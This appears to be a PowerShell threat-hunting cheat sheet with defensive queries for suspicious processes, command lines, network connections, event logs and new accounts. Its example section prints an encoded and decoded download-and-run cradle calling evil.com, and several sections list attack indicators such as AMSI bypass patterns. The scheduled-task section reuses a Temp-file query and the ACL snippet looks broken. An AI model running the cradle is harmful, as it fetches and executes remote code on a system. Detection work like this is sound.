PowerShell For Threat Hunting

Process Tree

Purpose: hunt for malicious/suspicious process like powershell

Get-CimInstance Win32_Process | 
  Where-Object {$_.Name -match 'powershell|pwsh'} | 
  Select-Object ProcessId,ParentProcessId,CommandLine | 
  Sort-Object ParentProcessId

Hunt For:

  • explorer.exe β†’ cmd.exe β†’ powershell.exe chains

  • Parent processes like winword.exe spawning PowerShell

PowerShell Process Command Lines

Purpose: Uncover hidden execution parameters

Get-CimInstance Win32_Process | 
  Where-Object { $_.Name -match 'powershell|pwsh' -and $_.CommandLine -ne $null } | 
  Select-Object ProcessId,CommandLine | 
  Format-Table -Wrap

Hunt For:

  • -EncodedCommand with base64

  • IEX (New-Object Net.WebClient).DownloadString() patterns

  • Uncommon arguments like -nop -w hidden -ep bypass

Example:

powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand "SQBleABlACAobkV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly9ldmlsLmNvbS9zaGVsbC5wcycp"
||
||
Iex (New-Object System.Net.WebClient).DownloadString('http://evil.com/shell.ps1')

PowerShell Binary Hashes

Purpose: Verify authentic PowerShell executables

Get-Process -Name powershell*, pwsh* | 
  Where-Object { $_.Path } | 
  ForEach-Object {
    [PSCustomObject]@{
      Name = $_.Name
      Path = $_.Path
      SHA256 = (Get-FileHash -Path $_.Path -Algorithm SHA256).Hash
    }
  } | Format-Table -AutoSize

Hunt For:

  • Hashes not matching Microsoft-signed binaries

  • PowerShell running from Temp or AppData

PowerShell Process Start Times

Purpose: Identify new/unexpected instances

Get-Process -Name powershell*, pwsh* | 
  Where-Object { $_.StartTime } | 
  Sort-Object StartTime | 
  Select-Object Name,Id,StartTime -Last 5

Hunt For:

  • Processes started at odd hours (e.g., 2 AM)

  • Multiple instances spawned within seconds

PowerShell Network Connections

Purpose: Detect C2 communications

Get-NetTCPConnection -State Established | 
  Where-Object { (Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue).Name -match 'powershell|pwsh' } | 
  Select-Object LocalAddress,RemoteAddress,RemotePort,@{N='Process';E={(Get-Process -Id $_.OwningProcess).Name}}

Hunt For:

  • Connections to cloud IPs (AWS/Azure DigitalOcean)

  • Ports 443, 8443, 4443 with no SSL handshake

  • Office apps (winword.exe) spawning PowerShell

  • explorer.exe β†’ cmd.exe β†’ powershell.exe chains

PowerShell Parent Processes

Purpose: Uncover injection chains

Get-CimInstance Win32_Process | 
  Where-Object { $_.Name -match 'powershell|pwsh' } | 
  Select-Object ProcessId,ParentProcessId,CommandLine | 
  ForEach-Object {
    $parent = Get-Process -Id $_.ParentProcessId -ErrorAction SilentlyContinue
    [PSCustomObject]@{
      PowerShell_PID = $_.ProcessId
      Parent_Name = $parent.Name
      Parent_PID = $_.ParentProcessId
      CommandLine = $_.CommandLine
    }
  } | Format-Table -Wrap

Hunt For:

  • Office apps (winword.exe) spawning PowerShell

  • explorer.exe β†’ cmd.exe β†’ powershell.exe chains

PowerShell Loaded Modules

Purpose: Detect in-memory injection

Get-Process -Name powershell*, pwsh* | 
  Select-Object Name,Id,@{N='Modules';E={$_.Modules.ModuleName -join ';'}} | 
  Where-Object { $_.Modules -like "*tmp*" -or $_.Modules -like "*appdata*" }

Hunt For:

  • DLLs loaded from Temp folders

  • Missing Microsoft-signed core modules

PowerShell Script Block Logs

Purpose: Extract executed code blocks

Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' -MaxEvents 20 | 
  Where-Object { $_.Id -eq 4104 } | 
  Select-Object TimeCreated,@{N='Command';E={$_.Properties[0].Value}} | 
  Format-Table -Wrap

Hunt For:

  • Invoke-Expression with external URLs

  • AMSI bypass patterns ([Ref].Assembly.GetType())

PowerShell Process ACLs

Purpose: Check for suspicious ownership

Get-Process -Name powershell*, pwsh* | 
  ForEach-Object {
    $owner = (Get-Acl -Path "\\?\handle::$($_.Id)").Owner
    [PSCustomObject]@{
      ProcessId = $_.Id
      Owner = $owner
      BinaryPath = $_.Path
    }
  }

Hunt For:

  • Processes owned by NT AUTHORITY\SYSTEM with network calls

  • Unknown user accounts running PowerShell

Check for Scheduled Tasks Created by PowerShell

Purpose: Detect if powershell.exe is used to create scheduled tasks, a common persistence technique.

Get-ChildItem -Path $env:TEMP -Recurse -File | Where-Object { $_.CreationTime -gt (Get-Date).AddHours(-24) -and ($_.Name -like "*.ps1" -or $_.Name -like "*.exe" -or $_.Name -like "*.dll") } | Select-Object Name, FullName, CreationTime

Check for Files Added to Temp Folder by PowerShell

Purpose: Identify suspicious files (e.g., .ps1, .exe, .dll) created in the Temp folder, potentially by PowerShell.

Get-ChildItem -Path $env:TEMP -Recurse -File | Where-Object { $_.CreationTime -gt (Get-Date).AddHours(-24) -and ($_.Name -like "*.ps1" -or $_.Name -like "*.exe" -or $_.Name -like "*.dll") } | Select-Object Name, FullName, CreationTime

Check for Files Added to AppData Folder by PowerShell

Purpose: Detect suspicious files in the AppData folder, a common drop location for PowerShell-dropped malware.

Get-ChildItem -Path $env:APPDATA -Recurse -File | Where-Object { $_.CreationTime -gt (Get-Date).AddHours(-24) -and ($_.Name -like "*.ps1" -or $_.Name -like "*.exe" -or $_.Name -like "*.dll") } | Select-Object Name, FullName, CreationTime

Hunt for Other Files Created by PowerShell

Purpose: Identify new files created system-wide (outside Temp/AppData) that might be PowerShell-related.

Get-ChildItem -Path "C:\" -Recurse -File -ErrorAction SilentlyContinue | Where-Object { $_.CreationTime -gt (Get-Date).AddHours(-24) -and $_.DirectoryName -notlike "*$env:TEMP*" -and $_.DirectoryName -notlike "*$env:APPDATA*" -and ($_.Name -like "*.ps1" -or $_.Name -like "*.exe" -or $_.Name -like "*.dll") } | Select-Object Name, FullName, CreationTime, DirectoryName

Hunt for PowerShell Activity in Event Logs

Purpose: Detect suspicious PowerShell commands (e.g., Invoke-Expression, DownloadString) that might indicate file creation or task scheduling.

Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object { $_.Id -eq 4104 } | Select-String -Pattern "Invoke-Expression|DownloadString|IEX" | Select-Object TimeCreated, Message

Hunt for PowerShell Interaction with WMI

Purpose: check if powershell.exe is running, interacting with WMI, or calling WMI classes

# 1. Check PowerShell module logs (ID 4103) for WMI
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object { $_.Id -eq 4103 } | Select-String -Pattern "WMI|Win32_|Get-WmiObject|Get-CimInstance" | Select-Object TimeCreated, Message

# 2. Check PowerShell script block logs (ID 4104) for WMI
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object { $_.Id -eq 4104 } | Select-String -Pattern "WMI|Win32_|Get-WmiObject|Get-CimInstance" | Select-Object TimeCreated, Message

# 3. Check WMI activity logs for PowerShell involvement
Get-WinEvent -LogName "Microsoft-Windows-WMI-Activity/Operational" | Where-Object { $_.Message -like "*powershell*" } | Select-Object TimeCreated, Message

# 4. Check PowerShell command history for WMI calls
Get-History | Where-Object { $_.CommandLine -like "*WMI*|*Win32_*|*Get-WmiObject*|*Get-CimInstance*" } | Select-Object CommandLine, StartExecutionTime

Hunt for Newly Created User Accounts

Purpose: Identify recently created user accounts in Active Directory to detect potential malicious activity (e.g., unauthorized account creation for persistence or lateral movement) for threat hunting.

Get-ADUser -Filter * -Properties WhenCreated, CreatedBy, LastLogonDate | 
Where-Object { $_.WhenCreated -ge (Get-Date).AddDays(-7) } | 
Select-Object Name, SamAccountName, WhenCreated, CreatedBy, LastLogonDate, DistinguishedName | 
Sort-Object WhenCreated -Descending | 
Format-Table -AutoSize

Hunt for int process of Network Connection

Purpose: Identify processes with anomalous network connections (e.g., spoofed IPs, unexpected outbound traffic, or impersonated system services) to detect potential malware or lateral movement.

Get-NetTCPConnection -State Established | Where-Object {
    $_.RemoteAddress -notmatch '^(127\.|0\.0\.0|::1)' -and
    (Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue).Name -match 'svchost|powershell|wscript'
} | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, State,
    @{Name="Process"; Expression={(Get-Process -Id $_.OwningProcess).Name}},
    @{Name="PID"; Expression={$_.OwningProcess}},
    @{Name="ProcessPath"; Expression={(Get-Process -Id $_.OwningProcess).Path}} |
Format-Table -AutoSize

Last updated

Was this helpful?